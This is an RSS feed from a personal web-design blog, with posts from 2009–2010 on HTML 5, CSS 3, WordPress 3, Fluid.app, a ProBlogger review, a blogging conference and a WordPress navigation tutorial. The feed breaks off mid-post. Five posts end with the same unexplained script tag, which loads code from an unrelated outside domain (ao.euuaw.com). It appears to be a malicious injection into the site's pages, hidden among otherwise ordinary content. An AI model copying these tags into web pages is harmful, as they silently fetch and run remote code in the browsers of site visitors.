<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Withinsight</title>
	<atom:link href="http://www.withinsightdesign.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.withinsightdesign.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 15 May 2010 17:31:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Its like rejuvenation</title>
		<link>http://www.withinsightdesign.com/2010/its-like-rejuvenation/</link>
		<comments>http://www.withinsightdesign.com/2010/its-like-rejuvenation/#comments</comments>
		<pubDate>Sat, 15 May 2010 17:31:40 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Web Standards]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[CSS 3]]></category>
		<category><![CDATA[Designing with Web Standards]]></category>
		<category><![CDATA[HTML 5]]></category>
		<category><![CDATA[The BIG Web Show]]></category>
		<category><![CDATA[WordPress 3]]></category>
		<category><![CDATA[Zeldman]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=201</guid>
		<description><![CDATA[I couldn&#8217;t resist the temptation to blatantly quote Howard Stern whack packer Blue Iris, as the phrase describes my recent adventures in web design perfectly. It had been way too long; way too long since I&#8217;d put myself back in student mode, way too long since I&#8217;d let HTML 5 and CSS 3 take shape [...]]]></description>
			<content:encoded><![CDATA[<p>I couldn&#8217;t resist the temptation to blatantly quote Howard Stern whack packer Blue Iris, as the phrase describes my recent adventures in web design perfectly. It had been way too long; way too long since I&#8217;d put myself back in student mode, way too long since I&#8217;d let HTML 5 and CSS 3 take shape without paying too much attention, and way too long since I&#8217;d posted here. So without further ado, lets take a look at what&#8217;s happened in web design over the past six months:</p>
<ol>
<li>Zeldman released <em><strong>Designing with Web Standards, 3rd Edition</strong></em>.</li>
<li>HTML 5 and CSS 3 support gain traction.</li>
<li>WordPress 3 set to drop any day now.</li>
<li>The BIG Web Show launched.</li>
<li>jQuery still rocks.</li>
</ol>
<p>Lets take them one at a time:</p>
<h3>1. Zeldman has released Designing with Web Standards, 3rd Edition.</h3>
<p>The king is back. And this time he&#8217;s got a sidekick. That&#8217;s right, Jeffrey Zeldman released the 3rd edition of the book that changed the web industry, and he signed up Ethan Marcotte as his trusty co-author this time around. I just blazed through the book in a week, and I&#8217;m gearing up for a second run-through. Needless to say, not only will this book give you a rock-solid foundation for building modern web sites, its been updated with current technologies in mind, including new kids on the block, HTML 5 and CSS 3. Also, a special treat this time around is a companion volume, <em><strong>Developing with Web Standards</strong></em>, released simultaneously. Author John Alsopp picks up where Zeldman leaves off, providing the practical solutions to Zeldman&#8217;s powerful theory. I&#8217;m giving myself a bit of time to digest <em><strong>Designing with Web Standards </strong></em>prior to diving into <em><strong>Developing</strong></em>, but look for a full review of <em><strong>Designing </strong></em>to come over the next few weeks here at Withinsight. All I can say for now is, bravo.</p>
<h3>2. HTML 5 and CSS 3 support gaining traction.</h3>
<p>HTML 5 and CSS 3 not only offer all kinds of fun new goodies for web designers and developers alike, they&#8217;re now starting to gain real support. In addition to the support already provided for new HTML elements and CSS properties in browsers where you&#8217;d expect it like Firefox, Chrome and Safari, it appears that <a title="IE9 supports HTML 5 and CSS 3" href="http://sixrevisions.com/web-development/five-things-ie9-is-actually-doing-right/" target="_blank">IE9 has completely jumped on the bleeding-edge standards wagon</a>. While the finalized specs are still years off, if all major browsers support them with the release of the next version of IE, we&#8217;ll be able to start using them reliably very soon. Actually, you already can, but more on that in bullet 4. If IE9 really does support HTML 5 and CSS 3 as well or better than other modern browsers, this may just be the kick that IT departments and large corporations need to drop their &#8220;IE6 fo&#8217; life&#8221; mantra. Exciting times indeed.</p>
<h3>3. WordPress 3 is set to drop any day now.</h3>
<p>WordPress 3 will support multi-site installations, meaning you can install WordPress once and create multiple blogs from the single installation. I&#8217;m so happy I think I just made a mess in my pants. This means no more upgrading multiple installations of WordPress with each release, centralized plugin management, and huge swaths of citizens rejoicing in the streets for weeks on end. Well, maybe not that last part, but this one feature alone would be enough for me for one upgrade. I&#8217;ve played with the <a title="WordPress 3 beta 2" href="http://wordpress.org/development/2010/05/wordpress-3-0-beta-2/" target="_blank">beta 2 release</a> a bit, and its super-simple to setup multiple blogs, and basically acts like WPMU did, where you can select subdomains or subdirectories for all your additional blogs. The potential is making me dizzy. Roo-haa.</p>
<h3>4. The BIG Web Show launched.</h3>
<p>Zeldman&#8217;s <a title="The BIG Web Show" href="http://www.zeldman.com/2010/04/14/the-big-web-show-is-coming/" target="_blank">The BIG Web Show launched recently</a>, and just concluded its third episode this past Thursday. If you like web design, pay attention. <a title="Jeremy Keith on The BIG Web Show" href="http://www.zeldman.com/2010/05/10/episode-2-html5-for-designers/" target="_blank">Episode 2 featured Jeremy Keith</a> as a special guest, promoting his latest book, <em><strong><a title="HTML 5 for Web Designers" href="http://books.alistapart.com/" target="_blank">HTML 5 for Web Designers</a></strong></em>, which is slated to drop in June. Remember when I mentioned using HTML 5 and CSS 3 now above? Good! In The BIG Web Show, episode 2, Keith explains how you can start supporting the semantics of HTML 5 now by using standard class names for your divs that correspond to the HTML 5 elements. Not only does it make transitioning in a future redesign easier, it makes explaining your classes to other designers or developers 100 times easier when you hand off your work because you can just point them to the spec. Fantastic. Also, kind of a sub-bullet here, <em><strong>HTML 5 for Web Designers</strong></em> is the first book from A Book Apart publishing! I&#8217;m overjoyed with this new publishing company and will likely gobble up each and every offering they proffer from here until infinity.</p>
<h3>5. jQuery still rocks.</h3>
<p>I really only started working with jQuery personally about a year ago, and since then the library has really gone full-blown as the hands-down most popular JavaScript library in existence. Not only has it been included in the download of WordPress for a while now, its hosted by Google in its compressed form, which means if you link to the Google version and your site visitors already visited a site that also links to the Google version of jQuery, they don&#8217;t have to download it again. In addition, all the JavaScript examples in <em><strong>Designing with Web Standards, 3rd Edition</strong></em> are in jQuery, because it just makes JavaScript so much more concise and is easy for the uninitiated to pick up, having a syntax very similar to CSS selectors.</p>
<p>So that&#8217;s it for now, stay tuned for more frequent updates as I&#8217;m completely turned on by the impending release of WordPress 3 and impending web standards developments. This truly is an exciting time to be a web developer. Cheers!<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2010/its-like-rejuvenation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Marvel Cinema intro built using only JavaScript</title>
		<link>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/</link>
		<comments>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:28:39 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Marvel cinema intro]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=145</guid>
		<description><![CDATA[During my recent JavaScript capstone course at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it [...]]]></description>
			<content:encoded><![CDATA[<p>During my recent <a href="http://www.westlaketraining.com/html-and-web-programming/300-javascript-dom-capstone.html" target="_blank">JavaScript capstone course</a> at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it looks like someone is flipping rapidly through a bunch of comic pages. I envisioned being able to accomplish this animation using only JavaScript.</p>
<p><a href="http://www.youtube.com/watch?v=ZmfiIqzdIbM" target="_blank">Here&#8217;s a sample of the original animation</a>, from the Spider-Man intro. I also found a few samples of other obviously homemade versions of the Marvel intro, like this <a href="http://www.youtube.com/watch?v=8bxaZ4-ZNeU&amp;feature=related" target="_blank">After Effects</a> version.</p>
<p>The below is built using JavaScript only, and relies heavily on jQuery&#8217;s animation effects. There&#8217;s even a cool soundtrack for those with newer browsers (its embedded using HTML 5&#8217;s audio element). The font isn&#8217;t exactly the same, and the music is courtesy of Dredg (everyone go out and pick up &#8220;The Pariah, The Parrot, The Delusion&#8221; right now), but I think its as close as you can get with JS to the original. Click the play button to check it out.</p>
<p>If you&#8217;d like to see a tutorial for how this was accomplished, leave a comment. If I get enough requests, I&#8217;ll put together a how-to.</p>
<p><button>Play</button><br />
<audio src="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav"></audio></p>
<div id="gallery">
<h1>Marvel</h1>
<div id="redFade"></div>
<div id="background"></div>
<p><img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel1.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel2.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel3.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel4.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel5.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel6.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel7.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel8.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel9.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel10.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel11.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel12.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel13.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel14.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel15.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel16.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel17.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel18.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel19.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel20.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel21.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel22.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel23.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel24.jpg" alt="" /></div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav" length="1734214" type="audio/x-wav" />
		</item>
		<item>
		<title>How Fluid.app will Change the World</title>
		<link>http://www.withinsightdesign.com/2009/how-fluid-app-will-change-the-world/</link>
		<comments>http://www.withinsightdesign.com/2009/how-fluid-app-will-change-the-world/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 11:36:31 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Fluid.app]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[desktop computing]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=136</guid>
		<description><![CDATA[Are you the type of web surfer who has tons of tabs open all the time?  Do you get frustrated when one web page causes all your other tabs to crash, or even just slows your productivity when you install a plugin and have to restart your browser?
How many of the tabs that you [...]]]></description>
			<content:encoded><![CDATA[<p>Are you the type of web surfer who has tons of tabs open all the time?  Do you get frustrated when one web page causes all your other tabs to crash, or even just slows your productivity when you install a plugin and have to restart your browser?</p>
<p>How many of the tabs that you typically keep open all day are web apps?  How many of them do you frequently revisit or refresh, constantly checking their status?</p>
<p>If you can identify with any of the questions above (and you have a Mac), get ready to experience a revolution.  <a title="Fluid.app" href="http://fluidapp.com/" target="_blank">Fluid.app</a> allows you to insert any web app URL, give it a title and icon, and voila, you&#8217;ve got an application (or SSB: Site Specific Browser) running like an application in OS X.</p>
<p>You can dock all your new web apps (I&#8217;ve got Yahoo Mail, Finance, Basecamp, Facebook and Google Reader setup here):</p>
<p><img class="aligncenter size-full wp-image-137" title="web-apps" src="http://www.withinsightdesign.com/wp-content/uploads/2009/09/web-apps.jpg" alt="web-apps" width="285" height="108" /></p>
<p>You can also convert your SSB into a MenuExtra SSB, which exists only as an icon in your OS X Status Bar:</p>
<p><img class="aligncenter size-full wp-image-138" title="stats-bar" src="http://www.withinsightdesign.com/wp-content/uploads/2009/09/stats-bar.png" alt="stats-bar" width="570" height="296" /></p>
<p>Fluid.app is based on Safari&#8217;s Webkit rendering engine, and all the SSB&#8217;s you create are true Cocoa OS X applications.</p>
<p>Once the coolness factor wears off, you may start to realize what this all means.  People have been talking for years about how once web apps get to the point where they&#8217;re as robust as desktop apps, we&#8217;d see a major paradigm shift in the way people use computers.  With this single application, you are now able to convert <strong><em>any web app you use</em></strong> into a desktop app.</p>
<p>While web apps still have a ways to go before they truly offer the same functionality as desktop apps, this is the first major move in that direction.</p>
<p>Grab <a title="Fluid app" href="http://fluidapp.com/" target="_blank">Fluid.app</a> today.  Its changed the way I use my Mac in less than 24 hours since I got it.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/how-fluid-app-will-change-the-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review: ProBlogger by Darren Rowse and Chris Garrett</title>
		<link>http://www.withinsightdesign.com/2009/review-problogger-by-darren-rowse-and-chris-garrett/</link>
		<comments>http://www.withinsightdesign.com/2009/review-problogger-by-darren-rowse-and-chris-garrett/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 17:19:22 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Blog Networks]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Book Reviews]]></category>
		<category><![CDATA[Chris Garrett]]></category>
		<category><![CDATA[Darren Rowse]]></category>
		<category><![CDATA[Make Money Blogging]]></category>
		<category><![CDATA[ProBlogger]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=116</guid>
		<description><![CDATA[

Book review of ProBlogger by Darren Rowse and Chris Garrett

While not a book covering strictly web design or development, ProBlogger is relevant in many ways.  Authors Darren Rowse and Chris Garrett walk the reader through the very basics of blogging, right through more advanced topics like blog promotion, advertising and blog &#8220;flipping&#8221;, the digital version [...]]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="hreview">
<h3 class="summary">Book review of ProBlogger by Darren Rowse and Chris Garrett</h3>
<div class="description"><a href="http://www.amazon.com/gp/product/0470246677?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0470246677" target="_blank"><img class="alignright photo" title="ProBlogger by Darren Rowse and Chris Garrett" src="http://www.withinsightdesign.com/wp-content/uploads/2009/07/problogger.jpg" alt="ProBlogger by Darren Rowse and Chris Garrett" /></a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0470246677" border="0" alt="" width="1" height="1" /></p>
<p>While not a book covering strictly web design or development, <strong><em>ProBlogger</em></strong> is relevant in many ways.  Authors Darren Rowse and Chris Garrett walk the reader through the very basics of blogging, right through more advanced topics like blog promotion, advertising and blog &#8220;flipping&#8221;, the digital version of <a href="http://tlc.discovery.com/home/tv/flip-that-house.html" target="_blank">TLC&#8217;s Flip that House</a>.  The fact that they detail the various blog publishing platforms, but express their tendency to lean toward WordPress for all their personal sites was appealing to me.  Also, just about every designer or developer comes across the issues of having to drive traffic, monetize pages, and analyze site performance at one point or another in their career.</p>
<p>I took some rather lengthy notes while reading the book, to make implementation on my personal sites a bit easier after completion of the book, and I&#8217;ll share some of those notes with you here.</p>
<h3>1. Websites You Should Investigate</h3>
<p>These are a few tools that I realized I should be using while reading the book.  These cover the main bases that every web site should be using to monitor or enhance their site:</p>
<ul>
<li><a href="http://www.alexa.com/" target="_blank">Alexa</a> &#8211; for researching hot topics and competitor sites</li>
<li><a href="http://technorati.com/" target="_blank">Technorat</a>i &#8211; add your blogs to the Technorati index, and monitor popular tags</li>
<li><a href="http://www.quantcast.com/" target="_blank">Quantcast</a> &#8211; track your site&#8217;s performance and compare to competitor site performance</li>
<li><a href="https://www.google.com/webmasters/tools/" target="_blank">Google Webmaster Tools</a> &#8211; discover keywords that people are already using to find your site through Google</li>
</ul>
<h3>2. Tools to Target Hot Topics</h3>
<p>Staying on top of industry news is an important task for a lot of web sites, from newspaper sites, to sporting sites, to the latest Hollywood gossip.  Here are some of the best:</p>
<ul>
<li><a href="http://www.google.com/trends" target="_blank">Google Trends</a></li>
<li><a href="http://buzz.yahoo.com/" target="_blank">Yahoo! Buzz</a></li>
<li><a href="http://technorati.com/pop/" target="_blank">Technorati &#8220;Popular&#8221;</a></li>
<li><a href="http://mashable.com/2009/04/04/twitter-trends/" target="_blank">Twitter Trends</a>, <a href="http://search.twitter.com/" target="_blank">Search</a>, <a href="http://twittersearch.flaptor.com" target="_blank">Flaptor</a></li>
<li><a href="http://www.facebook.com/lexicon/" target="_blank">Facebook Lexicon</a></li>
</ul>
<h3>3. Content Tips</h3>
<p>For bloggers that are just starting out, Rowse and Garrett offer a fantastic intro to formatting blog posts so that they will rank well in search engines.  This happens to coincide with HTML standards and best practices, so this section is doubly worth your time:</p>
<ul>
<li>Post regularly (1x/day or 1x/week)</li>
<li>Titles are important!</li>
<li>Vary long posts (reviews), with shorter posts (news)</li>
<li>Use h2 and h3 tags</li>
<li>Number paragraphs (helps with web audiences that typically scan pages)</li>
<li>Break longer posts into series</li>
<li>Write your entire post first, then go back and edit</li>
</ul>
<h3>4. Types of Blog Posts</h3>
<p>ProBlogger contains a wealth of ideas.  Here are some of their recommendations for varying the style of your posts, so as not to become repetitive and stale:</p>
<ul>
<li>Tutorials</li>
<li>Reviews</li>
<li>Lists</li>
<li>Profiles (pick an idol of yours or industry mogul and write a review of their life)</li>
<li>Links (microblogging)</li>
<li>Rants</li>
<li>Memes (idea virus, <a href="http://en.wikipedia.org/wiki/Memetracker" target="_blank">further explanation</a>)</li>
</ul>
<h3>5. Link Bait Ideas</h3>
<p>Further depth on content ideas is detailed in <strong><em>ProBlogger</em></strong>, and the issue of link baiting is discussed.  My thoughts on link baiting are that if the content is original, helpful, or insightful, its a good practice.  The content really has to come first.  Here are some ideas that you could potentially build content around:</p>
<ul>
<li>Tools</li>
<li>Quizzes</li>
<li>Competitions</li>
<li>Awards</li>
<li>Freebies</li>
<li>Interviews</li>
</ul>
<h3>6. Blog Valuation Factors</h3>
<p>Rowse and Garrett even get into the topic of buying existing blogs, and &#8220;flipping&#8221; them, or turning around and selling them for a profit.  The main benefit of blog flipping is that domain age is a major factor in Google&#8217;s evaluation of web sites.  Most of the most popular blog sites on Technorati have a domain age of three years or more.  If you purchase an existing domain, with an existing audience, you skip the work involved in starting from scratch.  Here are some factors to use while evaluating a blog purchase or sale:</p>
<ul>
<li>Audience</li>
<li>Content</li>
<li>Search Rankings</li>
<li>Traffic</li>
<li>Inbound Links</li>
<li>Brand</li>
<li>Profit</li>
<li>Design</li>
<li>Domain</li>
</ul>
<h3>7. Blog Promotion &amp; Marketing</h3>
<p>After you&#8217;ve got your blog up and running, and feel that your content is good enough and regular enough to warrant an audience, you&#8217;ll want to promote or market it in some fashion.  The <a href="http://en.wikipedia.org/wiki/Field_of_Dreams" target="_blank">Field of Dreams</a> mentality does not apply in the blogosphere.  Here are some of the promotion ideas I found in <strong><em>ProBlogger</em></strong>:</p>
<ul>
<li>Build &#8220;content magnets&#8221;</li>
<li>Comment on other niche blogs (1x/day)</li>
<li>Encourage comments through questions in your posts</li>
<li>Add &#8220;blog carnival&#8221; posts that link to many other industry/niche blogs</li>
<li>Promote subscription via RSS</li>
<li>Join a blogging community or forum in your industry, and participate regularly</li>
<li>Request links from relevant industry blogs</li>
</ul>
<p>I&#8217;m not going to get into further detail on any of the ideas here, to do that you&#8217;ll have to <a href="http://www.amazon.com/gp/product/0470246677?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0470246677" target="_blank">purchase <strong><em>ProBlogger</em></strong></a><strong><em><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0470246677" border="0" alt="" width="1" height="1" /></em></strong>.  I&#8217;ve only listed a sampling of the ideas Rowse and Garrett reveal in their book.  There are many more topics and ideas within, as well as much more detail and explanation.</p>
<p>Overall <strong><em>ProBlogger</em></strong> is a invaluable book for anyone with their own website.  Its an idea starter, and that&#8217;s a huge part of running your own website.  The other is finding time to actually do everything.  Then again, that&#8217;s where <a href="http://www.fourhourworkweek.com/blog/outsourcing-life/" target="_blank">Brickwork</a> could help you out.</p>
<p class="item">You can purchase <em><a class="fn url" href="http://www.amazon.com/gp/product/0470246677?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0470246677" target="_blank"><strong>ProBlogger</strong></a></em><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0470246677" border="0" alt="" width="1" height="1" /> over at Amazon.com.</p>
<h3>Rating</h3>
<ul class="ratings">
<li class="nine">Overall: <span class="rating"><span class="value">9</span> out of <span class="best">10</span></span></li>
</ul>
</div>
</div>
</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/review-problogger-by-darren-rowse-and-chris-garrett/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogs with Balls, June 13, NYC</title>
		<link>http://www.withinsightdesign.com/2009/blogs-with-balls-june-13-nyc/</link>
		<comments>http://www.withinsightdesign.com/2009/blogs-with-balls-june-13-nyc/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 16:32:03 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Blog Networks]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Yahoo! Pipes]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=109</guid>
		<description><![CDATA[I was in New York on June 13 with NESN, visiting the Blogs With Balls conference, which is a conference for people involved in both blogging and sports.  The conference is still in its infancy, with an attendance of around 250, and it was held in the basement of Stout, which wasn&#8217;t all bad, since [...]]]></description>
			<content:encoded><![CDATA[<p>I was in New York on June 13 with NESN, visiting the <a title="Blogs with Balls" href="http://blogswithballs.com/" target="_blank">Blogs With Balls</a> conference, which is a conference for people involved in both blogging and sports.  The conference is still in its infancy, with an attendance of around 250, and it was held in the basement of Stout, which wasn&#8217;t all bad, since the Guinness 250 lunch started around 11:30. Rockin&#8217; good times.</p>
<p>The conference was an eclectic mix ranging from CEO&#8217;s of blog networks like <a title="YardBarker" href="http://www.yardbarker.com/" target="_blank">YardBarker</a> and <a title="SBNation" href="http://www.sbnation.com/" target="_blank">SBNation</a> to individual bloggers who have taken the leap from corporate life to the risky world of independent blogging.  Conference topics ranged from leveraging social media and working with content networks, to getting down to business with making money with your blog.  I especially enjoyed <a title="Kathleen Hessert" href="http://twitter.com/KathleenHessert" target="_blank">Kathleen Hessert</a>&#8217;s discussion about how Sports Media Challenge proposed Twitter to Shaq, and not only did he embrace the technology, but his Tweets now have a circulation larger than the daily circulation of the New York Times.  Simply astounding.</p>
<h3>Three Things You Need to Know</h3>
<p>My largest takeaways from the conference:</p>
<ul>
<li>Become a portal.  If your site can be the start of a discussion, you can increase users and traffic exponentially.</li>
<li>Join a blog network.  If you haven&#8217;t considered it, joining a blog network can be a tremendous benefit to your traffic.  I&#8217;m going to get into more detail on this in a future post (I&#8217;m reading &#8220;ProBlogger&#8221; right now&#8230;)</li>
<li>Integrate related industry content gracefully.</li>
</ul>
<h3>Become a Content Ninja</h3>
<p>I&#8217;d like to get into a bit more detail on that last one.  It seems to me that there are a lot of large blog sites out there that do one of the two following items, and do them well, and lead their category or niche because of it:</p>
<ol>
<li>Offer original content.</li>
<li>Offer aggregate content.</li>
</ol>
<p>It also seems that the tendency of companies that already do one is to stick with that one, and not designate much focus to the other.  What I heard resoundingly at this conference is that if you can master both, and do it with a little flair, you can likely top your niche or category.  The trick is finding enough original content to come up with, and being tech-savvy enough to incorporate the aggregate content.  Of course, there are new web services like <a title="Yahoo! Pipes" href="http://pipes.yahoo.com/pipes/" target="_blank">Yahoo! Pipes</a> that are making this easier to accomplish practically daily.</p>
<h3>Definitely Check it Out</h3>
<p>Overall, this was an extremely beneficial experience, and I would recommend it to anyone in the New York area who has an interest in sports on the web.  Definitely check it out next time around.  They&#8217;re supposedly going to post video from the show on the <a title="Blogs with Balls" href="http://blogswithballs.com/" target="_blank">BWB site</a>, so keep an eye on it over the coming weeks.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/blogs-with-balls-june-13-nyc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Setup a Page-Driven Nav in WordPress 2.7</title>
		<link>http://www.withinsightdesign.com/2009/how-to-setup-a-page-driven-nav-in-wordpress-27/</link>
		<comments>http://www.withinsightdesign.com/2009/how-to-setup-a-page-driven-nav-in-wordpress-27/#comments</comments>
		<pubDate>Sat, 16 May 2009 17:26:08 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wordpress navigation]]></category>
		<category><![CDATA[wordpress pages]]></category>
		<category><![CDATA[wp_list_pages]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=101</guid>
		<description><![CDATA[I&#8217;ve been working with WordPress for years now, and I thought it might be a good time to start sharing my knowledge of WordPress best practices.  One item that I think a lot of people just getting started using WordPress might find handy is how to build a navigation that is driven by pages.  Having [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working with WordPress for years now, and I thought it might be a good time to start sharing my knowledge of WordPress best practices.  One item that I think a lot of people just getting started using WordPress might find handy is how to build a navigation that is driven by pages.  Having a navigation driven by pages has numerous benefits, including having the nav written out as an XHTML compliant unordered list, being able to include or exclude any pages you&#8217;d like, being able to sort the list items to your preference, and being able to style the current page&#8217;s nav button differently.</p>
<h3>Create those Pages</h3>
<p>The first thing you need to do to setup a nav driven by pages is create the pages themselves.  The title you give the page will be the text that appears in the nav.  Also note that by default the nav items will be sorted alphabetically, but you can prioritize them setting the &#8220;Order&#8221; field from within each individual page.</p>
<h3>The Magic of Template Tags</h3>
<p>After you&#8217;ve created all the pages you&#8217;d like to include in the navigation, all that&#8217;s left to do is add the template tag to your template (usually in header.php).  The template tag that lists pages in WordPress is, you guessed it, <code>wp_list_pages</code>.  Here&#8217;s a sample template tag included in my header.php file that passes a few parameters to the function:</p>
<p><code>&lt;?php wp_list_pages('include=2,7,9,11&amp;title_li='); ?&gt;</code></p>
<p>The above block of code includes an opening php statement <code>&lt;?php</code>, the function call <code>wp_list_pages('');</code>, and the arguments to be passed to the function <code>include=2,7,9,11</code> and <code>title_li=</code>.</p>
<p>Let&#8217;s take a look at the two arguments I passed to the <code>wp_list_pages</code> function, starting with <code>include=2,7,9,11</code>.</p>
<p>This tells the function I&#8217;d like to include only pages with the id&#8217;s of 2, 7, 9 and 11.  To find the page id&#8217;s that match your specific pages, go to your pages&gt;edit screen and hover over the link for the title of the page, and (if you&#8217;re using Firefox) look at the bottom of your browser.  At the end of the link you&#8217;ll see something like post=7.  The number here is your page id.  Plug in the page id&#8217;s for any pages you&#8217;d like to include, and you&#8217;re good to go!</p>
<p>The other argument I pass to the <code>wp_list_pages</code> function is to remove the title that would appear by default.  By passing <code>title_li=</code> you&#8217;re essentially saying &#8220;set the title to blank&#8221;, and the function does not return a title list item.  Generally you won&#8217;t want the title, which is up one level in the document tree, to appear if you&#8217;re making a navigation that you&#8217;ll end up floating to the left with CSS.</p>
